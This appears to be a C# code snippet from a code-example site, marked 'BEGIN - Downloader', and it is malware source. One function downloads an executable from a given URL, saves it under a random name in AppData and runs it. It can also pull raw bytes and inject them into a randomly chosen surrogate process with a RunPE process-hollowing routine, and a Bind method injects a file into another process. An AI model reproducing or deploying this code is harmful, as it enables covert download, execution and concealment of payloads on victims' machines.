Пример #1
0
 // BEGIN - Downloader
 private static bool dlex(string url, string cmdline = "", bool inject = false)
 {
     try
     {
         WebClient wc = new WebClient();
         wc.Proxy = null;
         if (!inject)
         {
             string filename = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + randomString(7) + ".exe";
             wc.DownloadFile(url, filename);
             System.Diagnostics.ProcessStartInfo si = new System.Diagnostics.ProcessStartInfo();
             si.FileName  = filename;
             si.Arguments = cmdline;
             System.Diagnostics.Process.Start(si);
             return(true);
         }
         else
         {
             byte[] file = wc.DownloadData(url);
             Microsoft.VisualBasic.VBMath.Randomize();
             string surrogate = surrogates[r.Next(0, surrogates.Length - 1)];
             RunPE.Run(file, surrogate);
             return(true);
         }
     }
     catch
     {
         return(false);
     }
 }
 public void Bind(byte[] injectionFile, string FilePath)
 {
     RunPE.Run(injectionFile, FilePath);
 }